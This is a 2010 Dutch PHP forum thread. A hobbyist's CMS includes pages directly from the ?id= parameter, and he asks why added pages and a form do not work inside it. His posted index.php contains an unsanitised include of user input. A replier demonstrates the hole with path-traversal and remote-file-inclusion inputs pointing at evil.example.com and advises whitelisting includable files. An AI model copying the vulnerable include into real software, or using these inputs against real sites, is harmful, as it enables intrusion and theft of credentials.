het php?id= ding probleem
ik ben ray em ik heb het het webdesign weer opgepakt, was eerder grafisch vormgever maar zit nu al wat jaartjes in dienst. heb ooit een start gemaakt aan php maar ben nog lerende.. ik mis het klooien met scripten en dingen ontwikkelen dus ben een siteje aan het maken..
ik heb een cms systeem geupload en die draait prima:
www.bnh-beauty.nl/ray/cms2/index.php
daar heb j links main navigation met wat links. nu heb ik er 2 zelf bij gemaakt namelijk de laatste 2
nu krijg ik het niet voor elkaar om die paginas te openen in waar de andere ook openen, gewoon naast het menu de 2e 3e en 4e links hebben achter de link ?id=blablabla staan
de vraag hoe krijg ik het nou voorelkaar dat het geopent word naast me menu?
bedankt ray
Toevoeging op 29/07/2010 11:52:31:
hallo,
ik loop weer tegen een probleem aan
ik heb een formuliertje gemaakt die wat gegevens stuurt naar een db, als ik dit bestand rechtstreekst benader dan werkt hij gewoon..
nu heb ik het bestand via een cms in een menu gezet, het formulier word weergegeven maar wanneer ik op verzende druk gebeurd er niks ook geen melding dat het gelukt is of juist niet.
url: http://www.bnh-beauty.nl/ray/cms2/modelzoeken.php >> werkt wel
url: http://www.bnh-beauty.nl/ray/cms2/index.php?id=modelzoeken >> werkt niet
hoe kan ik dit nou oplossen ??
thnks
De index.php opent de pagina's zelf.
Je moet dus naar de index.php gaan en kijken wat deze met de $_GET['id'] variabele doet.
Voor zover ik het zie, word de $_GET['id'] gepakt, er een '.php' achter geplakt en ge-include. Als dit zo is, dan is dit niet heel erg veilig.
Uiteraard ben ik te laat.
Gewijzigd op 13/07/2010 23:32:32 door Mark L
Daar zit vast (en hopelijk) nog wel een check aan vast.
Maar ik had het tegen Mark L
Gewijzigd op 14/07/2010 04:07:27 door Pim -
Mitchel V op 14/07/2010 03:44:30:
id = nummer checken op nummer: is_numeric
ID hoeft niet perse een nummer te zijn hoor ;-)
Komt vaak genoeg voor dat een ID een combinatie van cijfers en letters is...
volgens mij word het menu hier opgebouwd:
if(!isset($_GET['id']) && !isset($_GET['login']))
{
include("news.php");
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
$acces = $_GET['login'];
if(file_exists("$id.php"))
{
include("$id.php");
}
elseif(!file_exists("$id.php"))
{
echo'
<table class="main" cellspacing="1" cellpadding="4" width="100%">
<tr class="head"><td class="head">'.$language['Error'].'</td></tr>
<tr><td class="con1">'.$language['Error page'].'</td></tr>
</table>';
}
}
if(isset($_GET['login']))
{
echo '
<table class="main" cellspacing="1" cellpadding="4">
<tr class="head"><td class="head">'.$language['Error'].'</td></tr>
<tr><td class="con1">'.$language['Error acces'].'</td></tr>
</table>';
}
wat ik ervan begrijp doet hij inderdaad de variable ophalen en daar .php achter..
dit moet isk dus veranderen in het bovengenoemde?
ray
Als je nu iets als ?id=index invult zal het oneindig vaak zichzelf openen.
Erger wordt het als je dit doet: ?id=../../gevoelige/informatie/buiten/de/webroot/wachtwoorden
Nog erger: ?id=http://evil.example.com/index&c=phpinfo();
Met in http://evil.example.com/index.php:
In zo'n geval wordt phpinfo(); uitgevoerd,
Ik zou zeggen, controleer welke bestanden included mogen worden.
ik loop tegen een probleem aan
ik heb een formuliertje gemaakt die wat gegevens stuurt naar een db, als ik dit bestand rechtstreekst benader dan werkt hij gewoon..
nu heb ik het bestand via een cms in een menu gezet, het formulier word weergegeven maar wanneer ik op verzende druk gebeurd er niks ook geen melding dat het gelukt is of juist niet.
url: http://www.bnh-beauty.nl/ray/cms2/modelzoeken.php >> werkt wel
url: http://www.bnh-beauty.nl/ray/cms2/index.php?id=modelzoeken >> werkt niet
hoe kan ik dit nou oplossen ??
ray